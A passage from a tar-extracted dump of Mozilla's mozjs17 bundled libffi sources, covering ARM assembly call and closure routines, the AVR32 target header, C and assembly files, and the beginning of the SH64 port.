\ || defined(__ARM_ARCH_6K__) || defined(__ARM_ARCH_6Z__) \ || defined(__ARM_ARCH_6ZK__) || defined(__ARM_ARCH_6T2__) \ || defined(__ARM_ARCH_6M__) # undef __ARM_ARCH__ # define __ARM_ARCH__ 6 #endif #if defined(__ARM_ARCH_7__) || defined(__ARM_ARCH_7A__) \ || defined(__ARM_ARCH_7R__) || defined(__ARM_ARCH_7M__) \ || defined(__ARM_ARCH_7EM__) # undef __ARM_ARCH__ # define __ARM_ARCH__ 7 #endif #if __ARM_ARCH__ >= 5 # define call_reg(x) blx x #elif defined (__ARM_ARCH_4T__) # define call_reg(x) mov lr, pc ; bx x # if defined(__thumb__) || defined(__THUMB_INTERWORK__) # define __INTERWORKING__ # endif #else # define call_reg(x) mov lr, pc ; mov pc, x #endif /* Conditionally compile unwinder directives. */ #ifdef __ARM_EABI__ #define UNWIND #else #define UNWIND @ #endif #if defined(__thumb__) && !defined(__THUMB_INTERWORK__) .macro ARM_FUNC_START name .text .align 0 .thumb .thumb_func ENTRY(\name) bx pc nop .arm UNWIND .fnstart /* A hook to tell gdb that we've switched to ARM mode. Also used to call directly from other local arm routines. */ _L__\name: .endm #else .macro ARM_FUNC_START name .text .align 0 .arm ENTRY(\name) UNWIND .fnstart .endm #endif .macro RETLDM regs=, cond=, dirn=ia #if defined (__INTERWORKING__) .ifc "\regs","" ldr\cond lr, [sp], #4 .else ldm\cond\dirn sp!, {\regs, lr} .endif bx\cond lr #else .ifc "\regs","" ldr\cond pc, [sp], #4 .else ldm\cond\dirn sp!, {\regs, pc} .endif #endif .endm @ r0: fn @ r1: &ecif @ r2: cif->bytes @ r3: fig->flags @ sp+0: ecif.rvalue @ This assumes we are using gas. ARM_FUNC_START ffi_call_SYSV @ Save registers stmfd sp!, {r0-r3, fp, lr} UNWIND .save {r0-r3, fp, lr} mov fp, sp UNWIND .setfp fp, sp @ Make room for all of the new args. sub sp, fp, r2 @ Place all of the ffi_prep_args in position mov r0, sp @ r1 already set @ Call ffi_prep_args(stack, &ecif) bl ffi_prep_args @ move first 4 parameters in registers ldmia sp, {r0-r3} @ and adjust stack sub lr, fp, sp @ cif->bytes == fp - sp ldr ip, [fp] @ load fn() in advance cmp lr, #16 movhs lr, #16 add sp, sp, lr @ call (fn) (...) call_reg(ip) @ Remove the space we pushed for the args mov sp, fp @ Load r2 with the pointer to storage for the return value ldr r2, [sp, #24] @ Load r3 with the return type code ldr r3, [sp, #12] @ If the return value pointer is NULL, assume no return value. cmp r2, #0 beq LSYM(Lepilogue) @ return INT cmp r3, #FFI_TYPE_INT #if defined(__SOFTFP__) || defined(__ARM_EABI__) cmpne r3, #FFI_TYPE_FLOAT #endif streq r0, [r2] beq LSYM(Lepilogue) @ return INT64 cmp r3, #FFI_TYPE_SINT64 #if defined(__SOFTFP__) || defined(__ARM_EABI__) cmpne r3, #FFI_TYPE_DOUBLE #endif stmeqia r2, {r0, r1} #if !defined(__SOFTFP__) && !defined(__ARM_EABI__) beq LSYM(Lepilogue) @ return FLOAT cmp r3, #FFI_TYPE_FLOAT stfeqs f0, [r2] beq LSYM(Lepilogue) @ return DOUBLE or LONGDOUBLE cmp r3, #FFI_TYPE_DOUBLE stfeqd f0, [r2] #endif LSYM(Lepilogue): RETLDM "r0-r3,fp" .ffi_call_SYSV_end: UNWIND .fnend .size CNAME(ffi_call_SYSV),.ffi_call_SYSV_end-CNAME(ffi_call_SYSV) /* Below are VFP hard-float ABI call and closure implementations. Add VFP FPU directive here. */ .fpu vfp @ r0: fn @ r1: &ecif @ r2: cif->bytes @ r3: fig->flags @ sp+0: ecif.rvalue ARM_FUNC_START ffi_call_VFP @ Save registers stmfd sp!, {r0-r3, fp, lr} UNWIND .save {r0-r3, fp, lr} mov fp, sp UNWIND .setfp fp, sp @ Make room for all of the new args. sub sp, sp, r2 @ Make room for loading VFP args sub sp, sp, #64 @ Place all of the ffi_prep_args in position mov r0, sp @ r1 already set sub r2, fp, #64 @ VFP scratch space @ Call ffi_prep_args(stack, &ecif, vfp_space) bl ffi_prep_args @ Load VFP register args if needed cmp r0, #0 beq LSYM(Lbase_args) @ Load only d0 if possible cmp r0, #3 sub ip, fp, #64 flddle d0, [ip] fldmiadgt ip, {d0-d7} LSYM(Lbase_args): @ move first 4 parameters in registers ldmia sp, {r0-r3} @ and adjust stack sub lr, ip, sp @ cif->bytes == (fp - 64) - sp ldr ip, [fp] @ load fn() in advance cmp lr, #16 movhs lr, #16 add sp, sp, lr @ call (fn) (...) call_reg(ip) @ Remove the space we pushed for the args mov sp, fp @ Load r2 with the pointer to storage for @ the return value ldr r2, [sp, #24] @ Load r3 with the return type code ldr r3, [sp, #12] @ If the return value pointer is NULL, @ assume no return value. cmp r2, #0 beq LSYM(Lepilogue_vfp) cmp r3, #FFI_TYPE_INT streq r0, [r2] beq LSYM(Lepilogue_vfp) cmp r3, #FFI_TYPE_SINT64 stmeqia r2, {r0, r1} beq LSYM(Lepilogue_vfp) cmp r3, #FFI_TYPE_FLOAT fstseq s0, [r2] beq LSYM(Lepilogue_vfp) cmp r3, #FFI_TYPE_DOUBLE fstdeq d0, [r2] beq LSYM(Lepilogue_vfp) cmp r3, #FFI_TYPE_STRUCT_VFP_FLOAT cmpne r3, #FFI_TYPE_STRUCT_VFP_DOUBLE fstmiadeq r2, {d0-d3} LSYM(Lepilogue_vfp): RETLDM "r0-r3,fp" .ffi_call_VFP_end: UNWIND .fnend .size CNAME(ffi_call_VFP),.ffi_call_VFP_end-CNAME(ffi_call_VFP) /* unsigned int FFI_HIDDEN ffi_closure_SYSV_inner (closure, respp, args) ffi_closure *closure; void **respp; void *args; */ ARM_FUNC_START ffi_closure_SYSV UNWIND .pad #16 add ip, sp, #16 stmfd sp!, {ip, lr} UNWIND .save {r0, lr} add r2, sp, #8 .pad #16 sub sp, sp, #16 str sp, [sp, #8] add r1, sp, #8 bl ffi_closure_SYSV_inner cmp r0, #FFI_TYPE_INT beq .Lretint cmp r0, #FFI_TYPE_FLOAT #if defined(__SOFTFP__) || defined(__ARM_EABI__) beq .Lretint #else beq .Lretfloat #endif cmp r0, #FFI_TYPE_DOUBLE #if defined(__SOFTFP__) || defined(__ARM_EABI__) beq .Lretlonglong #else beq .Lretdouble #endif cmp r0, #FFI_TYPE_LONGDOUBLE #if defined(__SOFTFP__) || defined(__ARM_EABI__) beq .Lretlonglong #else beq .Lretlongdouble #endif cmp r0, #FFI_TYPE_SINT64 beq .Lretlonglong .Lclosure_epilogue: add sp, sp, #16 ldmfd sp, {sp, pc} .Lretint: ldr r0, [sp] b .Lclosure_epilogue .Lretlonglong: ldr r0, [sp] ldr r1, [sp, #4] b .Lclosure_epilogue #if !defined(__SOFTFP__) && !defined(__ARM_EABI__) .Lretfloat: ldfs f0, [sp] b .Lclosure_epilogue .Lretdouble: ldfd f0, [sp] b .Lclosure_epilogue .Lretlongdouble: ldfd f0, [sp] b .Lclosure_epilogue #endif .ffi_closure_SYSV_end: UNWIND .fnend .size CNAME(ffi_closure_SYSV),.ffi_closure_SYSV_end-CNAME(ffi_closure_SYSV) ARM_FUNC_START ffi_closure_VFP fstmfdd sp!, {d0-d7} @ r0-r3, then d0-d7 UNWIND .pad #80 add ip, sp, #80 stmfd sp!, {ip, lr} UNWIND .save {r0, lr} add r2, sp, #72 add r3, sp, #8 .pad #72 sub sp, sp, #72 str sp, [sp, #64] add r1, sp, #64 bl ffi_closure_SYSV_inner cmp r0, #FFI_TYPE_INT beq .Lretint_vfp cmp r0, #FFI_TYPE_FLOAT beq .Lretfloat_vfp cmp r0, #FFI_TYPE_DOUBLE cmpne r0, #FFI_TYPE_LONGDOUBLE beq .Lretdouble_vfp cmp r0, #FFI_TYPE_SINT64 beq .Lretlonglong_vfp cmp r0, #FFI_TYPE_STRUCT_VFP_FLOAT beq .Lretfloat_struct_vfp cmp r0, #FFI_TYPE_STRUCT_VFP_DOUBLE beq .Lretdouble_struct_vfp .Lclosure_epilogue_vfp: add sp, sp, #72 ldmfd sp, {sp, pc} .Lretfloat_vfp: flds s0, [sp] b .Lclosure_epilogue_vfp .Lretdouble_vfp: fldd d0, [sp] b .Lclosure_epilogue_vfp .Lretint_vfp: ldr r0, [sp] b .Lclosure_epilogue_vfp .Lretlonglong_vfp: ldmia sp, {r0, r1} b .Lclosure_epilogue_vfp .Lretfloat_struct_vfp: fldmiad sp, {d0-d1} b .Lclosure_epilogue_vfp .Lretdouble_struct_vfp: fldmiad sp, {d0-d3} b .Lclosure_epilogue_vfp .ffi_closure_VFP_end: UNWIND .fnend .size CNAME(ffi_closure_VFP),.ffi_closure_VFP_end-CNAME(ffi_closure_VFP) #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",%progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/avr32/0000775000175000017500000000000012106270662020271 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/avr32/ffitarget.h0000664000175000017500000000341112106270662022414 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 2009 Bradley Smith Target configuration macros for AVR32. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #endif #define FFI_EXTRA_CIF_FIELDS unsigned int rstruct_flag /* Definitions for closures */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 36 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/avr32/ffi.c0000664000175000017500000003005212106270662021201 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 2009 Bradley Smith AVR32 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include #include #include /* #define DEBUG */ extern void ffi_call_SYSV(void (*)(char *, extended_cif *), extended_cif *, unsigned int, unsigned int, unsigned int*, unsigned int, void (*fn)(void)); extern void ffi_closure_SYSV (ffi_closure *); unsigned int pass_struct_on_stack(ffi_type *type) { if(type->type != FFI_TYPE_STRUCT) return 0; if(type->alignment < type->size && !(type->size == 4 || type->size == 8) && !(type->size == 8 && type->alignment >= 4)) return 1; if(type->size == 3 || type->size == 5 || type->size == 6 || type->size == 7) return 1; return 0; } /* ffi_prep_args is called by the assembly routine once stack space * has been allocated for the function's arguments * * This is annoyingly complex since we need to keep track of used * registers. */ void ffi_prep_args(char *stack, extended_cif *ecif) { unsigned int i; void **p_argv; ffi_type **p_arg; char *reg_base = stack; char *stack_base = stack + 20; unsigned int stack_offset = 0; unsigned int reg_mask = 0; p_argv = ecif->avalue; /* If cif->flags is struct then we know it's not passed in registers */ if(ecif->cif->flags == FFI_TYPE_STRUCT) { *(void**)reg_base = ecif->rvalue; reg_mask |= 1; } for(i = 0, p_arg = ecif->cif->arg_types; i < ecif->cif->nargs; i++, p_arg++) { size_t z = (*p_arg)->size; int alignment = (*p_arg)->alignment; int type = (*p_arg)->type; char *addr = 0; if(z % 4 != 0) z += (4 - z % 4); if(reg_mask != 0x1f) { if(pass_struct_on_stack(*p_arg)) { addr = stack_base + stack_offset; stack_offset += z; } else if(z == sizeof(int)) { char index = 0; while((reg_mask >> index) & 1) index++; addr = reg_base + (index * 4); reg_mask |= (1 << index); } else if(z == 2 * sizeof(int)) { if(!((reg_mask >> 1) & 1)) { addr = reg_base + 4; reg_mask |= (3 << 1); } else if(!((reg_mask >> 3) & 1)) { addr = reg_base + 12; reg_mask |= (3 << 3); } } } if(!addr) { addr = stack_base + stack_offset; stack_offset += z; } if(type == FFI_TYPE_STRUCT && (*p_arg)->elements[1] == NULL) type = (*p_arg)->elements[0]->type; switch(type) { case FFI_TYPE_UINT8: *(unsigned int *)addr = (unsigned int)*(UINT8 *)(*p_argv); break; case FFI_TYPE_SINT8: *(signed int *)addr = (signed int)*(SINT8 *)(*p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *)addr = (unsigned int)*(UINT16 *)(*p_argv); break; case FFI_TYPE_SINT16: *(signed int *)addr = (signed int)*(SINT16 *)(*p_argv); break; default: memcpy(addr, *p_argv, z); } p_argv++; } #ifdef DEBUG /* Debugging */ for(i = 0; i < 5; i++) { if((reg_mask & (1 << i)) == 0) printf("r%d: (unused)\n", 12 - i); else printf("r%d: 0x%08x\n", 12 - i, ((unsigned int*)reg_base)[i]); } for(i = 0; i < stack_offset / 4; i++) { printf("sp+%d: 0x%08x\n", i*4, ((unsigned int*)stack_base)[i]); } #endif } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { /* Round the stack up to a multiple of 8 bytes. This isn't needed * everywhere, but it is on some platforms, and it doesn't harm * anything when it isn't needed. */ cif->bytes = (cif->bytes + 7) & ~7; /* Flag to indicate that he return value is in fact a struct */ cif->rstruct_flag = 0; /* Set the return type flag */ switch(cif->rtype->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: cif->flags = (unsigned)FFI_TYPE_UINT8; break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: cif->flags = (unsigned)FFI_TYPE_UINT16; break; case FFI_TYPE_FLOAT: case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_POINTER: cif->flags = (unsigned)FFI_TYPE_UINT32; break; case FFI_TYPE_DOUBLE: case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags = (unsigned)FFI_TYPE_UINT64; break; case FFI_TYPE_STRUCT: cif->rstruct_flag = 1; if(!pass_struct_on_stack(cif->rtype)) { if(cif->rtype->size <= 1) cif->flags = (unsigned)FFI_TYPE_UINT8; else if(cif->rtype->size <= 2) cif->flags = (unsigned)FFI_TYPE_UINT16; else if(cif->rtype->size <= 4) cif->flags = (unsigned)FFI_TYPE_UINT32; else if(cif->rtype->size <= 8) cif->flags = (unsigned)FFI_TYPE_UINT64; else cif->flags = (unsigned)cif->rtype->type; } else cif->flags = (unsigned)cif->rtype->type; break; default: cif->flags = (unsigned)cif->rtype->type; break; } return FFI_OK; } void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; unsigned int size = 0, i = 0; ffi_type **p_arg; ecif.cif = cif; ecif.avalue = avalue; for(i = 0, p_arg = cif->arg_types; i < cif->nargs; i++, p_arg++) size += (*p_arg)->size + (4 - (*p_arg)->size % 4); /* If the return value is a struct and we don't have a return value * address then we need to make one */ /* If cif->flags is struct then it's not suitable for registers */ if((rvalue == NULL) && (cif->flags == FFI_TYPE_STRUCT)) ecif.rvalue = alloca(cif->rtype->size); else ecif.rvalue = rvalue; switch(cif->abi) { case FFI_SYSV: ffi_call_SYSV(ffi_prep_args, &ecif, size, cif->flags, ecif.rvalue, cif->rstruct_flag, fn); break; default: FFI_ASSERT(0); break; } } static void ffi_prep_incoming_args_SYSV(char *stack, void **rvalue, void **avalue, ffi_cif *cif) { register unsigned int i, reg_mask = 0; register void **p_argv; register ffi_type **p_arg; register char *reg_base = stack; register char *stack_base = stack + 20; register unsigned int stack_offset = 0; #ifdef DEBUG /* Debugging */ for(i = 0; i < cif->nargs + 7; i++) { printf("sp+%d: 0x%08x\n", i*4, ((unsigned int*)stack)[i]); } #endif /* If cif->flags is struct then we know it's not passed in registers */ if(cif->flags == FFI_TYPE_STRUCT) { *rvalue = *(void **)reg_base; reg_mask |= 1; } p_argv = avalue; for(i = 0, p_arg = cif->arg_types; i < cif->nargs; i++, p_arg++) { size_t z = (*p_arg)->size; int alignment = (*p_arg)->alignment; *p_argv = 0; if(z % 4 != 0) z += (4 - z % 4); if(reg_mask != 0x1f) { if(pass_struct_on_stack(*p_arg)) { *p_argv = (void*)stack_base + stack_offset; stack_offset += z; } else if(z <= sizeof(int)) { char index = 0; while((reg_mask >> index) & 1) index++; *p_argv = (void*)reg_base + (index * 4); reg_mask |= (1 << index); } else if(z == 2 * sizeof(int)) { if(!((reg_mask >> 1) & 1)) { *p_argv = (void*)reg_base + 4; reg_mask |= (3 << 1); } else if(!((reg_mask >> 3) & 1)) { *p_argv = (void*)reg_base + 12; reg_mask |= (3 << 3); } } } if(!*p_argv) { *p_argv = (void*)stack_base + stack_offset; stack_offset += z; } if((*p_arg)->type != FFI_TYPE_STRUCT || (*p_arg)->elements[1] == NULL) { if(alignment == 1) **(unsigned int**)p_argv <<= 24; else if(alignment == 2) **(unsigned int**)p_argv <<= 16; } p_argv++; } #ifdef DEBUG /* Debugging */ for(i = 0; i < cif->nargs; i++) { printf("sp+%d: 0x%08x\n", i*4, *(((unsigned int**)avalue)[i])); } #endif } /* This function is jumped to by the trampoline */ unsigned int ffi_closure_SYSV_inner(ffi_closure *closure, void **respp, void *args) { ffi_cif *cif; void **arg_area; unsigned int i, size = 0; ffi_type **p_arg; cif = closure->cif; for(i = 0, p_arg = cif->arg_types; i < cif->nargs; i++, p_arg++) size += (*p_arg)->size + (4 - (*p_arg)->size % 4); arg_area = (void **)alloca(size); /* this call will initialize ARG_AREA, such that each element in that * array points to the corresponding value on the stack; and if the * function returns a structure, it will re-set RESP to point to the * structure return address. */ ffi_prep_incoming_args_SYSV(args, respp, arg_area, cif); (closure->fun)(cif, *respp, arg_area, closure->user_data); return cif->flags; } ffi_status ffi_prep_closure_loc(ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { FFI_ASSERT(cif->abi == FFI_SYSV); unsigned char *__tramp = (unsigned char*)(&closure->tramp[0]); unsigned int __fun = (unsigned int)(&ffi_closure_SYSV); unsigned int __ctx = (unsigned int)(codeloc); unsigned int __rstruct_flag = (unsigned int)(cif->rstruct_flag); unsigned int __inner = (unsigned int)(&ffi_closure_SYSV_inner); *(unsigned int*) &__tramp[0] = 0xebcd1f00; /* pushm r8-r12 */ *(unsigned int*) &__tramp[4] = 0xfefc0010; /* ld.w r12, pc[16] */ *(unsigned int*) &__tramp[8] = 0xfefb0010; /* ld.w r11, pc[16] */ *(unsigned int*) &__tramp[12] = 0xfefa0010; /* ld.w r10, pc[16] */ *(unsigned int*) &__tramp[16] = 0xfeff0010; /* ld.w pc, pc[16] */ *(unsigned int*) &__tramp[20] = __ctx; *(unsigned int*) &__tramp[24] = __rstruct_flag; *(unsigned int*) &__tramp[28] = __inner; *(unsigned int*) &__tramp[32] = __fun; syscall(__NR_cacheflush, 0, (&__tramp[0]), 36); closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } mozjs17.0.0/js/src/ctypes/libffi/src/avr32/sysv.S0000664000175000017500000001135012106270662021421 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2009 Bradley Smith AVR32 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. --------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include /* r12: ffi_prep_args * r11: &ecif * r10: size * r9: cif->flags * r8: ecif.rvalue * sp+0: cif->rstruct_flag * sp+4: fn */ .text .align 1 .globl ffi_call_SYSV .type ffi_call_SYSV, @function ffi_call_SYSV: stm --sp, r0,r1,lr stm --sp, r8-r12 mov r0, sp /* Make room for all of the new args. */ sub sp, r10 /* Pad to make way for potential skipped registers */ sub sp, 20 /* Call ffi_prep_args(stack, &ecif). */ /* r11 already set */ mov r1, r12 mov r12, sp icall r1 /* Save new argument size */ mov r1, r12 /* Move first 5 parameters in registers. */ ldm sp++, r8-r12 /* call (fn) (...). */ ld.w r1, r0[36] icall r1 /* Remove the space we pushed for the args. */ mov sp, r0 /* Load r1 with the rstruct flag. */ ld.w r1, sp[32] /* Load r9 with the return type code. */ ld.w r9, sp[12] /* Load r8 with the return value pointer. */ ld.w r8, sp[16] /* If the return value pointer is NULL, assume no return value. */ cp.w r8, 0 breq .Lend /* Check if return type is actually a struct */ cp.w r1, 0 breq 1f /* Return 8bit */ cp.w r9, FFI_TYPE_UINT8 breq .Lstore8 /* Return 16bit */ cp.w r9, FFI_TYPE_UINT16 breq .Lstore16 1: /* Return 32bit */ cp.w r9, FFI_TYPE_UINT32 breq .Lstore32 cp.w r9, FFI_TYPE_UINT16 breq .Lstore32 cp.w r9, FFI_TYPE_UINT8 breq .Lstore32 /* Return 64bit */ cp.w r9, FFI_TYPE_UINT64 breq .Lstore64 /* Didn't match anything */ bral .Lend .Lstore64: st.w r8[0], r11 st.w r8[4], r10 bral .Lend .Lstore32: st.w r8[0], r12 bral .Lend .Lstore16: st.h r8[0], r12 bral .Lend .Lstore8: st.b r8[0], r12 bral .Lend .Lend: sub sp, -20 ldm sp++, r0,r1,pc .size ffi_call_SYSV, . - ffi_call_SYSV /* r12: __ctx * r11: __rstruct_flag * r10: __inner */ .align 1 .globl ffi_closure_SYSV .type ffi_closure_SYSV, @function ffi_closure_SYSV: stm --sp, r0,lr mov r0, r11 mov r8, r10 sub r10, sp, -8 sub sp, 12 st.w sp[8], sp sub r11, sp, -8 icall r8 /* Check if return type is actually a struct */ cp.w r0, 0 breq 1f /* Return 8bit */ cp.w r12, FFI_TYPE_UINT8 breq .Lget8 /* Return 16bit */ cp.w r12, FFI_TYPE_UINT16 breq .Lget16 1: /* Return 32bit */ cp.w r12, FFI_TYPE_UINT32 breq .Lget32 cp.w r12, FFI_TYPE_UINT16 breq .Lget32 cp.w r12, FFI_TYPE_UINT8 breq .Lget32 /* Return 64bit */ cp.w r12, FFI_TYPE_UINT64 breq .Lget64 /* Didn't match anything */ bral .Lclend .Lget64: ld.w r11, sp[0] ld.w r10, sp[4] bral .Lclend .Lget32: ld.w r12, sp[0] bral .Lclend .Lget16: ld.uh r12, sp[0] bral .Lclend .Lget8: ld.ub r12, sp[0] bral .Lclend .Lclend: sub sp, -12 ldm sp++, r0,lr sub sp, -20 mov pc, lr .size ffi_closure_SYSV, . - ffi_closure_SYSV #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif mozjs17.0.0/js/src/ctypes/libffi/src/sh64/0000775000175000017500000000000012106270662020120 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/sh64/ffitarget.h0000664000175000017500000000356712106270662022257 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2003 Red Hat, Inc. Target configuration macros for SuperH - SHmedia. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- Generic type definitions ----------------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_SYSV, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_SYSV } ffi_abi; #define FFI_EXTRA_CIF_FIELDS long long flags2 #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 32 #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/sh64/ffi.c0000664000175000017500000002602712106270662021037 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 2003, 2004, 2006, 2007 Kaz Kojima Copyright (c) 2008 Anthony Green SuperH SHmedia Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #define NGREGARG 8 #define NFREGARG 12 static int return_type (ffi_type *arg) { if (arg->type != FFI_TYPE_STRUCT) return arg->type; /* gcc uses r2 if the result can be packed in on register. */ if (arg->size <= sizeof (UINT8)) return FFI_TYPE_UINT8; else if (arg->size <= sizeof (UINT16)) return FFI_TYPE_UINT16; else if (arg->size <= sizeof (UINT32)) return FFI_TYPE_UINT32; else if (arg->size <= sizeof (UINT64)) return FFI_TYPE_UINT64; return FFI_TYPE_STRUCT; } /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void ffi_prep_args(char *stack, extended_cif *ecif) { register unsigned int i; register unsigned int avn; register void **p_argv; register char *argp; register ffi_type **p_arg; argp = stack; if (return_type (ecif->cif->rtype) == FFI_TYPE_STRUCT) { *(void **) argp = ecif->rvalue; argp += sizeof (UINT64); } avn = ecif->cif->nargs; p_argv = ecif->avalue; for (i = 0, p_arg = ecif->cif->arg_types; i < avn; i++, p_arg++, p_argv++) { size_t z; int align; z = (*p_arg)->size; align = (*p_arg)->alignment; if (z < sizeof (UINT32)) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(SINT64 *) argp = (SINT64) *(SINT8 *)(*p_argv); break; case FFI_TYPE_UINT8: *(UINT64 *) argp = (UINT64) *(UINT8 *)(*p_argv); break; case FFI_TYPE_SINT16: *(SINT64 *) argp = (SINT64) *(SINT16 *)(*p_argv); break; case FFI_TYPE_UINT16: *(UINT64 *) argp = (UINT64) *(UINT16 *)(*p_argv); break; case FFI_TYPE_STRUCT: memcpy (argp, *p_argv, z); break; default: FFI_ASSERT(0); } argp += sizeof (UINT64); } else if (z == sizeof (UINT32) && align == sizeof (UINT32)) { switch ((*p_arg)->type) { case 